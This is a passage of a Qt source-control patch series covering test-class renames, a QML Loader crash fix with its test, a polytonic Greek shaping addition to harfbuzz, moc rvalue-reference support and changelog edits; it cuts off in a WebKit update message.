QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1435,7 +1435,7 @@ void tst_QVector::multiplyFactor3_data() << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f; } -void tst_QVector::multiplyFactor3() +void tst_QVectorND::multiplyFactor3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1461,7 +1461,7 @@ void tst_QVector::multiplyFactor3() } // Test vector multiplication by a factor for 4D vectors. -void tst_QVector::multiplyFactor4_data() +void tst_QVectorND::multiplyFactor4_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1508,7 +1508,7 @@ void tst_QVector::multiplyFactor4_data() << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f << (qreal)0.0f; } -void tst_QVector::multiplyFactor4() +void tst_QVectorND::multiplyFactor4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1537,12 +1537,12 @@ void tst_QVector::multiplyFactor4() } // Test vector division by a factor for 2D vectors. -void tst_QVector::divide2_data() +void tst_QVectorND::divide2_data() { // Use the same test data as the multiply test. multiplyFactor2_data(); } -void tst_QVector::divide2() +void tst_QVectorND::divide2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1567,12 +1567,12 @@ void tst_QVector::divide2() } // Test vector division by a factor for 3D vectors. -void tst_QVector::divide3_data() +void tst_QVectorND::divide3_data() { // Use the same test data as the multiply test. multiplyFactor3_data(); } -void tst_QVector::divide3() +void tst_QVectorND::divide3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1600,12 +1600,12 @@ void tst_QVector::divide3() } // Test vector division by a factor for 4D vectors. -void tst_QVector::divide4_data() +void tst_QVectorND::divide4_data() { // Use the same test data as the multiply test. multiplyFactor4_data(); } -void tst_QVector::divide4() +void tst_QVectorND::divide4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1636,12 +1636,12 @@ void tst_QVector::divide4() } // Test vector negation for 2D vectors. -void tst_QVector::negate2_data() +void tst_QVectorND::negate2_data() { // Use the same test data as the add test. add2_data(); } -void tst_QVector::negate2() +void tst_QVectorND::negate2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1653,12 +1653,12 @@ void tst_QVector::negate2() } // Test vector negation for 3D vectors. -void tst_QVector::negate3_data() +void tst_QVectorND::negate3_data() { // Use the same test data as the add test. add3_data(); } -void tst_QVector::negate3() +void tst_QVectorND::negate3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1671,12 +1671,12 @@ void tst_QVector::negate3() } // Test vector negation for 4D vectors. -void tst_QVector::negate4_data() +void tst_QVectorND::negate4_data() { // Use the same test data as the add test. add4_data(); } -void tst_QVector::negate4() +void tst_QVectorND::negate4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1690,7 +1690,7 @@ void tst_QVector::negate4() } // Test the computation of vector cross-products. -void tst_QVector::crossProduct_data() +void tst_QVectorND::crossProduct_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1721,7 +1721,7 @@ void tst_QVector::crossProduct_data() << (qreal)-3.0f << (qreal)6.0f << (qreal)-3.0f << (qreal)32.0f; } -void tst_QVector::crossProduct() +void tst_QVectorND::crossProduct() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1751,12 +1751,12 @@ void tst_QVector::crossProduct() } // Test the computation of normals. -void tst_QVector::normal_data() +void tst_QVectorND::normal_data() { // Use the same test data as the crossProduct test. crossProduct_data(); } -void tst_QVector::normal() +void tst_QVectorND::normal() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1780,7 +1780,7 @@ void tst_QVector::normal() } // Test distance to plane calculations. -void tst_QVector::distanceToPlane_data() +void tst_QVectorND::distanceToPlane_data() { QTest::addColumn("x1"); // Point on plane QTest::addColumn("y1"); @@ -1823,7 +1823,7 @@ void tst_QVector::distanceToPlane_data() << (qreal)0.0f << (qreal)2.0f << (qreal)0.0f << (qreal)-2.0f; } -void tst_QVector::distanceToPlane() +void tst_QVectorND::distanceToPlane() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1853,7 +1853,7 @@ void tst_QVector::distanceToPlane() } // Test distance to line calculations. -void tst_QVector::distanceToLine_data() +void tst_QVectorND::distanceToLine_data() { QTest::addColumn("x1"); // Point on line QTest::addColumn("y1"); @@ -1896,7 +1896,7 @@ void tst_QVector::distanceToLine_data() << (qreal)0.0f << (qreal)5.0f << (qreal)0.0f << (qreal)5.0f; } -void tst_QVector::distanceToLine() +void tst_QVectorND::distanceToLine() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1917,7 +1917,7 @@ void tst_QVector::distanceToLine() } // Test the computation of dot products for 2D vectors. -void tst_QVector::dotProduct2_data() +void tst_QVectorND::dotProduct2_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -1940,7 +1940,7 @@ void tst_QVector::dotProduct2_data() << (qreal)4.0f << (qreal)5.0f << (qreal)14.0f; } -void tst_QVector::dotProduct2() +void tst_QVectorND::dotProduct2() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1960,12 +1960,12 @@ void tst_QVector::dotProduct2() } // Test the computation of dot products for 3D vectors. -void tst_QVector::dotProduct3_data() +void tst_QVectorND::dotProduct3_data() { // Use the same test data as the crossProduct test. crossProduct_data(); } -void tst_QVector::dotProduct3() +void tst_QVectorND::dotProduct3() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -1994,7 +1994,7 @@ void tst_QVector::dotProduct3() } // Test the computation of dot products for 4D vectors. -void tst_QVector::dotProduct4_data() +void tst_QVectorND::dotProduct4_data() { QTest::addColumn("x1"); QTest::addColumn("y1"); @@ -2021,7 +2021,7 @@ void tst_QVector::dotProduct4_data() << (qreal)4.0f << (qreal)5.0f << (qreal)6.0f << (qreal)7.0f << (qreal)60.0f; } -void tst_QVector::dotProduct4() +void tst_QVectorND::dotProduct4() { QFETCH(qreal, x1); QFETCH(qreal, y1); @@ -2044,14 +2044,14 @@ void tst_QVector::dotProduct4() QCOMPARE(QVector4D::dotProduct(v1, v2), d); } -class tst_QVectorProperties : public QObject +class tst_QVectorNDProperties : public QObject { Q_OBJECT Q_PROPERTY(QVector2D vector2D READ vector2D WRITE setVector2D) Q_PROPERTY(QVector3D vector3D READ vector3D WRITE setVector3D) Q_PROPERTY(QVector4D vector4D READ vector4D WRITE setVector4D) public: - tst_QVectorProperties(QObject *parent = 0) : QObject(parent) {} + tst_QVectorNDProperties(QObject *parent = 0) : QObject(parent) {} QVector2D vector2D() const { return v2; } void setVector2D(const QVector2D& value) { v2 = value; } @@ -2069,9 +2069,9 @@ private: }; // Test getting and setting vector properties via the metaobject system. -void tst_QVector::properties() +void tst_QVectorND::properties() { - tst_QVectorProperties obj; + tst_QVectorNDProperties obj; obj.setVector2D(QVector2D(1.0f, 2.0f)); obj.setVector3D(QVector3D(3.0f, 4.0f, 5.0f)); @@ -2115,7 +2115,7 @@ void tst_QVector::properties() QCOMPARE(v4.w(), (qreal)-9.0f); } -void tst_QVector::metaTypes() +void tst_QVectorND::metaTypes() { QVERIFY(QMetaType::type("QVector2D") == QMetaType::QVector2D); QVERIFY(QMetaType::type("QVector3D") == QMetaType::QVector3D); @@ -2137,6 +2137,6 @@ void tst_QVector::metaTypes() QVERIFY(qMetaTypeId() == QMetaType::QVector4D); } -QTEST_APPLESS_MAIN(tst_QVector) +QTEST_APPLESS_MAIN(tst_QVectorND) #include "tst_qvectornd.moc" diff --git a/tests/auto/xmlpatternsdiagnosticsts/tst_xmlpatternsdiagnosticsts.cpp b/tests/auto/xmlpatternsdiagnosticsts/tst_xmlpatternsdiagnosticsts.cpp index 4a11404..f4f6181 100644 --- a/tests/auto/xmlpatternsdiagnosticsts/tst_xmlpatternsdiagnosticsts.cpp +++ b/tests/auto/xmlpatternsdiagnosticsts/tst_xmlpatternsdiagnosticsts.cpp @@ -52,25 +52,25 @@ \since 4.5 \brief Test QtXmlPatterns test suite driver in tests/auto/xmlpatternsxqts/lib/. */ -class tst_XmlPatternsXSLTS : public tst_SuiteTest +class tst_XmlPatternsDiagnosticsTS : public tst_SuiteTest { Q_OBJECT public: - tst_XmlPatternsXSLTS(); + tst_XmlPatternsDiagnosticsTS(); protected: virtual void catalogPath(QString &write) const; }; -tst_XmlPatternsXSLTS::tst_XmlPatternsXSLTS() : tst_SuiteTest(tst_SuiteTest::XQuerySuite, true) +tst_XmlPatternsDiagnosticsTS::tst_XmlPatternsDiagnosticsTS() : tst_SuiteTest(tst_SuiteTest::XQuerySuite, true) { } -void tst_XmlPatternsXSLTS::catalogPath(QString &write) const +void tst_XmlPatternsDiagnosticsTS::catalogPath(QString &write) const { write = QLatin1String("TestSuite/DiagnosticsCatalog.xml"); } -QTEST_MAIN(tst_XmlPatternsXSLTS) +QTEST_MAIN(tst_XmlPatternsDiagnosticsTS) #include "tst_xmlpatternsdiagnosticsts.moc" #else -- cgit v0.12 From 5efe6549e5248fbe5b20c8a18fec64d248d7b87c Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 22 Mar 2010 16:47:18 +1000 Subject: Fix Loader crash. If setting the source of a Loader triggered a change to the source (i.e. the thing being loaded set the source to something else) a crash would occur. We now no longer delete the component immediately when the source changes. Task-number: QTBUG-9241 --- .../graphicsitems/qdeclarativeloader.cpp | 11 +++++++++- .../qdeclarativeloader/data/BlueRect.qml | 8 ++++++++ .../qdeclarativeloader/data/GreenRect.qml | 7 +++++++ .../declarative/qdeclarativeloader/data/crash.qml | 14 +++++++++++++ .../qdeclarativeloader/tst_qdeclarativeloader.cpp | 24 ++++++++++++++++++++++ 5 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml create mode 100644 tests/auto/declarative/qdeclarativeloader/data/crash.qml diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp index 6dbcd16..745734e 100644 --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp @@ -66,7 +66,7 @@ void QDeclarativeLoaderPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem void QDeclarativeLoaderPrivate::clear() { if (ownComponent) { - delete component; + component->deleteLater(); component = 0; ownComponent = false; } @@ -285,7 +285,16 @@ void QDeclarativeLoaderPrivate::_q_sourceLoaded() return; } + QDeclarativeComponent *c = component; QObject *obj = component->create(ctxt); + if (component != c) { + // component->create could trigger a change in source that causes + // component to be set to something else. In that case we just + // need to cleanup. + delete obj; + delete ctxt; + return; + } if (obj) { ctxt->setParent(obj); item = qobject_cast(obj); diff --git a/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml new file mode 100644 index 0000000..3b49f6a --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/BlueRect.qml @@ -0,0 +1,8 @@ +import Qt 4.6 + +Rectangle { + objectName: "blue" + width: 100 + height: 100 + color: "blue" +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml new file mode 100644 index 0000000..7ee3513 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/GreenRect.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Rectangle { + width: 100; height: 100 + color: "green" + Component.onCompleted: myLoader.source = "BlueRect.qml" +} diff --git a/tests/auto/declarative/qdeclarativeloader/data/crash.qml b/tests/auto/declarative/qdeclarativeloader/data/crash.qml new file mode 100644 index 0000000..8474e78 --- /dev/null +++ b/tests/auto/declarative/qdeclarativeloader/data/crash.qml @@ -0,0 +1,14 @@ +import Qt 4.6 + +Rectangle { + width: 400 + height: 400 + + function setLoaderSource() { + myLoader.source = "GreenRect.qml" + } + + Loader { + id: myLoader + } +} diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index 61b2800..2c20836 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -88,6 +88,8 @@ private slots: void failNetworkRequest(); // void networkComponent(); + void deleteComponentCrash(); + private: QDeclarativeEngine engine; }; @@ -459,6 +461,28 @@ void tst_QDeclarativeLoader::failNetworkRequest() delete loader; } +// QTBUG-9241 +void tst_QDeclarativeLoader::deleteComponentCrash() +{ + QDeclarativeComponent component(&engine, TEST_FILE("/crash.qml")); + QDeclarativeItem *item = qobject_cast(component.create()); + QVERIFY(item); + + item->metaObject()->invokeMethod(item, "setLoaderSource"); + + QDeclarativeLoader *loader = qobject_cast(item->QGraphicsObject::children().at(0)); + QVERIFY(loader); + QVERIFY(loader->item()); + QCOMPARE(loader->item()->objectName(), QLatin1String("blue")); + QCOMPARE(loader->progress(), 1.0); + QCOMPARE(loader->status(), QDeclarativeLoader::Ready); + QCOMPARE(static_cast(loader)->children().count(), 1); + QEXPECT_FAIL("", "QTBUG-9245", Continue); + QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/BlueRect.qml")); + + delete item; +} + QTEST_MAIN(tst_QDeclarativeLoader) #include "tst_qdeclarativeloader.moc" -- cgit v0.12 From ced9f453fb7648c04a60932901bd370405c701eb Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 22 Mar 2010 09:09:57 +0100 Subject: Remove non-existing header from pri file Got added in 081fafe395d52. --- src/declarative/util/util.pri | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/declarative/util/util.pri b/src/declarative/util/util.pri index 61b4f6f..f537806 100644 --- a/src/declarative/util/util.pri +++ b/src/declarative/util/util.pri @@ -58,8 +58,7 @@ HEADERS += \ $$PWD/qdeclarativebehavior_p.h \ $$PWD/qdeclarativefontloader_p.h \ $$PWD/qdeclarativestyledtext_p.h \ - $$PWD/qdeclarativelistmodelworkeragent_p.h \ - $$PWD/qdeclarativelistmodelworkeragent_p_p.h + $$PWD/qdeclarativelistmodelworkeragent_p.h contains(QT_CONFIG, xmlpatterns) { QT+=xmlpatterns -- cgit v0.12 From 00d25e88ba57241d840ec4d81d75a3853520ba37 Mon Sep 17 00:00:00 2001 From: Gareth Stockwell Date: Mon, 22 Mar 2010 09:42:40 +0000 Subject: Updated dist/changes-4.6.3 --- dist/changes-4.6.3 | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/dist/changes-4.6.3 b/dist/changes-4.6.3 index 57cc453..d8e9fb4 100644 --- a/dist/changes-4.6.3 +++ b/dist/changes-4.6.3 @@ -138,6 +138,14 @@ Qt for Windows CE - +Qt for Symbian +-------------- + + - [QT-567] Implementation of QtMultimedia QAudio* APIs + - [QTBUG-8919] Modified Phonon MMF backend to support video playback on + platforms which use graphics surfaces (i.e. platforms using the + New Graphics Architecture a.k.a. ScreenPlay) + **************************************************************************** * Tools * **************************************************************************** -- cgit v0.12 From 74f5e34979b8a08a91aa3c2fa6d252e68eca7817 Mon Sep 17 00:00:00 2001 From: Lars Knoll Date: Mon, 22 Mar 2010 10:46:00 +0100 Subject: Add support for polyphonic greek Merge patch c0006e05f32ecd6f16825b799d2bce345c166433 from harfbuzz and add autotests to QTextScriptEngine. Support for polyphonic greek is implemented by mapping decomposed greek character sequences to their composed characters in the greek extended unicode range (U+1f00 - U+1fff). Task-number: QTBUG-391 Reviewed-By: Simon Hausmann --- src/3rdparty/harfbuzz/src/Makefile.am | 3 +- src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp | 1 + .../harfbuzz/src/harfbuzz-shaper-private.h | 1 + src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp | 2 +- src/3rdparty/harfbuzz/tests/shaping/main.cpp | 127 +++++++++++++++++---- .../qtextscriptengine/tst_qtextscriptengine.cpp | 75 ++++++++++++ 6 files changed, 185 insertions(+), 24 deletions(-) diff --git a/src/3rdparty/harfbuzz/src/Makefile.am b/src/3rdparty/harfbuzz/src/Makefile.am index 2b0fb1d..51d0652 100644 --- a/src/3rdparty/harfbuzz/src/Makefile.am +++ b/src/3rdparty/harfbuzz/src/Makefile.am @@ -12,7 +12,8 @@ MAINSOURCES = \ harfbuzz-impl.c \ harfbuzz-open.c \ harfbuzz-shaper.cpp \ - harfbuzz-tibetan.c \ + harfbuzz-greek.c \ + harfbuzz-tibetan.c \ harfbuzz-khmer.c \ harfbuzz-indic.cpp \ harfbuzz-hebrew.c \ diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp index d2f902f..2dae501 100644 --- a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp +++ b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-all.cpp @@ -25,6 +25,7 @@ #include "harfbuzz-shaper.cpp" #include "harfbuzz-indic.cpp" extern "C" { +#include "harfbuzz-greek.c" #include "harfbuzz-tibetan.c" #include "harfbuzz-khmer.c" #include "harfbuzz-hebrew.c" diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h index 80bccf8..11ed753 100644 --- a/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h +++ b/src/3rdparty/harfbuzz/src/harfbuzz-shaper-private.h @@ -100,6 +100,7 @@ typedef struct { extern const HB_ScriptEngine hb_scriptEngines[]; extern HB_Bool HB_BasicShape(HB_ShaperItem *shaper_item); +extern HB_Bool HB_GreekShape(HB_ShaperItem *shaper_item); extern HB_Bool HB_TibetanShape(HB_ShaperItem *shaper_item); extern HB_Bool HB_HebrewShape(HB_ShaperItem *shaper_item); extern HB_Bool HB_ArabicShape(HB_ShaperItem *shaper_item); diff --git a/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp b/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp index bfc7bd4..4bc53c8 100644 --- a/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp +++ b/src/3rdparty/harfbuzz/src/harfbuzz-shaper.cpp @@ -587,7 +587,7 @@ const HB_ScriptEngine HB_ScriptEngines[] = { // Common { HB_BasicShape, 0}, // Greek - { HB_BasicShape, 0}, + { HB_GreekShape, 0}, // Cyrillic { HB_BasicShape, 0}, // Armenian diff --git a/src/3rdparty/harfbuzz/tests/shaping/main.cpp b/src/3rdparty/harfbuzz/tests/shaping/main.cpp index 827ac30..b48b0a9 100644 --- a/src/3rdparty/harfbuzz/tests/shaping/main.cpp +++ b/src/3rdparty/harfbuzz/tests/shaping/main.cpp @@ -136,13 +136,13 @@ HB_Error hb_getPointInOutline(HB_Font font, HB_Glyph glyph, int flags, hb_uint32 return HB_Err_Ok; } -void hb_getGlyphMetrics(HB_Font font, HB_Glyph glyph, HB_GlyphMetrics *metrics) +void hb_getGlyphMetrics(HB_Font, HB_Glyph, HB_GlyphMetrics *metrics) { // ### metrics->x = metrics->y = metrics->width = metrics->height = metrics->xOffset = metrics->yOffset = 0; } -HB_Fixed hb_getFontMetric(HB_Font font, HB_FontMetric metric) +HB_Fixed hb_getFontMetric(HB_Font, HB_FontMetric ) { return 0; // #### } @@ -169,6 +169,8 @@ public slots: void initTestCase(); void cleanupTestCase(); private slots: + void greek(); + void devanagari(); void bengali(); void gurmukhi(); @@ -203,18 +205,25 @@ void tst_QScriptEngine::cleanupTestCase() FT_Done_FreeType(freetype); } -struct ShapeTable { - unsigned short unicode[16]; - unsigned short glyphs[16]; +class Shaper +{ +public: + Shaper(FT_Face face, HB_Script script, const QString &str); + + HB_FontRec hbFont; + HB_ShaperItem shaper_item; + QVarLengthArray hb_glyphs; + QVarLengthArray hb_attributes; + QVarLengthArray hb_advances; + QVarLengthArray hb_offsets; + QVarLengthArray hb_logClusters; + }; -static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) +Shaper::Shaper(FT_Face face, HB_Script script, const QString &str) { - QString str = QString::fromUtf16( s->unicode ); - HB_Face hbFace = HB_NewFace(face, hb_getSFntTable); - HB_FontRec hbFont; hbFont.klass = &hb_fontClass; hbFont.userData = face; hbFont.x_ppem = face->size->metrics.x_ppem; @@ -222,7 +231,6 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) hbFont.x_scale = face->size->metrics.x_scale; hbFont.y_scale = face->size->metrics.y_scale; - HB_ShaperItem shaper_item; shaper_item.kerning_applied = false; shaper_item.string = reinterpret_cast(str.constData()); shaper_item.stringLength = str.length(); @@ -237,11 +245,6 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) shaper_item.glyphIndicesPresent = false; shaper_item.initialGlyphCount = 0; - QVarLengthArray hb_glyphs(shaper_item.num_glyphs); - QVarLengthArray hb_attributes(shaper_item.num_glyphs); - QVarLengthArray hb_advances(shaper_item.num_glyphs); - QVarLengthArray hb_offsets(shaper_item.num_glyphs); - QVarLengthArray hb_logClusters(shaper_item.num_glyphs); while (1) { hb_glyphs.resize(shaper_item.num_glyphs); @@ -263,10 +266,68 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) if (HB_ShapeItem(&shaper_item)) break; - } HB_FreeFace(hbFace); +} + + +#if defined(Q_WS_X11) +static bool decomposedShaping(FT_Face face, HB_Script script, const QChar &ch) +{ + QString uc = QString().append(ch); + Shaper shaper(face, script, uc); + + uc = uc.normalized(QString::NormalizationForm_D); + Shaper decomposed(face, script, uc); + + if( shaper.shaper_item.num_glyphs != decomposed.shaper_item.num_glyphs ) + goto error; + + for (unsigned int i = 0; i < shaper.shaper_item.num_glyphs; ++i) { + if ((shaper.shaper_item.glyphs[i]&0xffffff) != (decomposed.shaper_item.glyphs[i]&0xffffff)) + goto error; + } + return true; + error: + QString str = ""; + int i = 0; + while (i < uc.length()) { + str += QString("%1 ").arg(uc[i].unicode(), 4, 16); + ++i; + } + qDebug("%s: decomposedShaping of char %4x failed\n decomposedString: %s\n nglyphs=%d, decomposed nglyphs %d", + face->family_name, + ch.unicode(), str.toLatin1().data(), + shaper.shaper_item.num_glyphs, + decomposed.shaper_item.num_glyphs); + + str = ""; + i = 0; + while (i < shaper.shaper_item.num_glyphs) { + str += QString("%1 ").arg(shaper.shaper_item.glyphs[i], 4, 16); + ++i; + } + qDebug(" composed glyph result = %s", str.toLatin1().constData()); + str = ""; + i = 0; + while (i < decomposed.shaper_item.num_glyphs) { + str += QString("%1 ").arg(decomposed.shaper_item.glyphs[i], 4, 16); + ++i; + } + qDebug(" decomposed glyph result = %s", str.toLatin1().constData()); + return false; +} +#endif + +struct ShapeTable { + unsigned short unicode[16]; + unsigned short glyphs[16]; +}; + +static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) +{ + Shaper shaper(face, script, QString::fromUtf16( s->unicode )); hb_uint32 nglyphs = 0; const unsigned short *g = s->glyphs; @@ -275,16 +336,16 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) g++; } - if( nglyphs != shaper_item.num_glyphs ) + if( nglyphs != shaper.shaper_item.num_glyphs ) goto error; for (hb_uint32 i = 0; i < nglyphs; ++i) { - if ((shaper_item.glyphs[i]&0xffffff) != s->glyphs[i]) + if ((shaper.shaper_item.glyphs[i]&0xffffff) != s->glyphs[i]) goto error; } return true; error: - str = ""; + QString str = ""; const unsigned short *uc = s->unicode; while (*uc) { str += QString("%1 ").arg(*uc, 4, 16); @@ -293,18 +354,40 @@ static bool shaping(FT_Face face, const ShapeTable *s, HB_Script script) qDebug("%s: shaping of string %s failed, nglyphs=%d, expected %d", face->family_name, str.toLatin1().constData(), - shaper_item.num_glyphs, nglyphs); + shaper.shaper_item.num_glyphs, nglyphs); str = ""; hb_uint32 i = 0; - while (i < shaper_item.num_glyphs) { - str += QString("%1 ").arg(shaper_item.glyphs[i], 4, 16); + while (i < shaper.shaper_item.num_glyphs) { + str += QString("%1 ").arg(shaper.shaper_item.glyphs[i], 4, 16); ++i; } qDebug(" glyph result = %s", str.toLatin1().constData()); return false; } + +void tst_QScriptEngine::greek() +{ + FT_Face face = loadFace("DejaVuSans.ttf"); + if (face) { + for (int uc = 0x1f00; uc <= 0x1fff; ++uc) { + QString str; + str.append(uc); + if (str.normalized(QString::NormalizationForm_D).normalized(QString::NormalizationForm_C) != str) { + //qDebug() << "skipping" << hex << uc; + continue; + } + if (uc == 0x1fc1 || uc == 0x1fed) + continue; + QVERIFY( decomposedShaping(face, HB_Script_Greek, QChar(uc)) ); + } + } else { + QSKIP("couln't find DejaVu Sans", SkipAll); + } +} + + void tst_QScriptEngine::devanagari() { { diff --git a/tests/auto/qtextscriptengine/tst_qtextscriptengine.cpp b/tests/auto/qtextscriptengine/tst_qtextscriptengine.cpp index 6de3f59..841f5b9 100644 --- a/tests/auto/qtextscriptengine/tst_qtextscriptengine.cpp +++ b/tests/auto/qtextscriptengine/tst_qtextscriptengine.cpp @@ -99,6 +99,7 @@ private slots: void kannada(); void malayalam(); void sinhala(); + void greek(); void khmer(); void linearB(); @@ -998,6 +999,80 @@ void tst_QTextScriptEngine::linearB() #endif } +#if defined(Q_WS_X11) +static bool decomposedShaping( const QFont &f, const QChar &ch) +{ + QString str = QString().append(ch); + QTextLayout layout(str, f); + QTextEngine *e = layout.d; + e->itemize(); + e->shape(0); + + QTextLayout decomposed(str.normalized(QString::NormalizationForm_D), f); + QTextEngine *de = decomposed.d; + de->itemize(); + de->shape(0); + + if( e->layoutData->items[0].num_glyphs != de->layoutData->items[0].num_glyphs ) + goto error; + + for (int i = 0; i < e->layoutData->items[0].num_glyphs; ++i) { + if ((e->layoutData->glyphLayout.glyphs[i] & 0xffffff) != (de->layoutData->glyphLayout.glyphs[i] & 0xffffff)) + goto error; + } + return true; + error: + qDebug("%s: decomposedShaping of char %4x failed, nglyphs=%d, decomposed nglyphs %d", + f.family().toLatin1().constData(), + ch.unicode(), + e->layoutData->items[0].num_glyphs, + de->layoutData->items[0].num_glyphs); + + str = ""; + int i = 0; + while (i < e->layoutData->items[0].num_glyphs) { + str += QString("%1 ").arg(e->layoutData->glyphLayout.glyphs[i], 4, 16); + ++i; + } + qDebug(" composed glyph result = %s", str.toLatin1().constData()); + str = ""; + i = 0; + while (i < de->layoutData->items[0].num_glyphs) { + str += QString("%1 ").arg(de->layoutData->glyphLayout.glyphs[i], 4, 16); + ++i; + } + qDebug(" decomposed glyph result = %s", str.toLatin1().constData()); + return false; +} +#endif + + +void tst_QTextScriptEngine::greek() +{ +#if defined(Q_WS_X11) + { + if (QFontDatabase().families(QFontDatabase::Any).contains("DejaVu Sans")) { + QFont f("DejaVu Sans"); + for (int uc = 0x1f00; uc <= 0x1fff; ++uc) { + QString str; + str.append(uc); + if (str.normalized(QString::NormalizationForm_D).normalized(QString::NormalizationForm_C) != str) { + //qDebug() << "skipping" << hex << uc; + continue; + } + if (uc == 0x1fc1 || uc == 0x1fed) + continue; + QVERIFY( decomposedShaping(f, QChar(uc)) ); + } + } else { + QSKIP("couln't find DejaVu Sans", SkipAll); + } + } +#else + QSKIP("X11 specific test", SkipAll); +#endif +} + QTEST_MAIN(tst_QTextScriptEngine) #include "tst_qtextscriptengine.moc" -- cgit v0.12 From f725e2b9cae1866ff6510cb339cc4ada363f9e4f Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Fri, 19 Mar 2010 22:48:12 +0100 Subject: Moc: Add support for rvalue references in signals and slots. Reviewed-By: Simon Hausmann --- src/tools/moc/moc.cpp | 4 +++- src/tools/moc/moc.h | 7 +++++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/src/tools/moc/moc.cpp b/src/tools/moc/moc.cpp index 94ad56f..c84233e 100644 --- a/src/tools/moc/moc.cpp +++ b/src/tools/moc/moc.cpp @@ -230,11 +230,13 @@ Type Moc::parseType() } } while (test(CONST) || test(VOLATILE) || test(SIGNED) || test(UNSIGNED) - || test(STAR) || test(AND)) { + || test(STAR) || test(AND) || test(ANDAND)) { type.name += ' '; type.name += lexem(); if (lookup(0) == AND) type.referenceType = Type::Reference; + else if (lookup(0) == ANDAND) + type.referenceType = Type::RValueReference; else if (lookup(0) == STAR) type.referenceType = Type::Pointer; } diff --git a/src/tools/moc/moc.h b/src/tools/moc/moc.h index 10abfc6..6fb0d49 100644 --- a/src/tools/moc/moc.h +++ b/src/tools/moc/moc.h @@ -55,7 +55,7 @@ struct QMetaObject; struct Type { - enum ReferenceType { NoReference, Reference, Pointer }; + enum ReferenceType { NoReference, Reference, RValueReference, Pointer }; inline Type() : isVolatile(false), isScoped(false), firstToken(NOTOKEN), referenceType(NoReference) {} inline explicit Type(const QByteArray &_name) : name(_name), isVolatile(false), isScoped(false), firstToken(NOTOKEN), referenceType(NoReference) {} @@ -240,8 +240,11 @@ public: inline QByteArray noRef(const QByteArray &type) { - if (type.endsWith('&')) + if (type.endsWith('&')) { + if (type.endsWith("&&")) + return type.left(type.length()-2); return type.left(type.length()-1); + } return type; } -- cgit v0.12 From 28d469475ccb708ab3f141d9e3c48a24dff4b5e1 Mon Sep 17 00:00:00 2001 From: Simon Hausmann Date: Mon, 22 Mar 2010 12:43:51 +0100 Subject: Updated WebKit from /home/shausman/src/webkit/trunk to qtwebkit/qtwebkit-4.6 ( d95c54951e7af2aa7def4346a142b2162bd89bbd ) Changes in WebKit/qt since the last update: https://bugs.webkit.org/show_bug.cgi?id=33408 -- Add flag IGNORE_FIXED_BACKGROUNDS (disabled by default) to ignore fixed background images and accelerate web page scrolling on low-powered/mobile devices https://bugs.webkit.org/show_bug.cgi?id=34168 -- [Qt] Enable 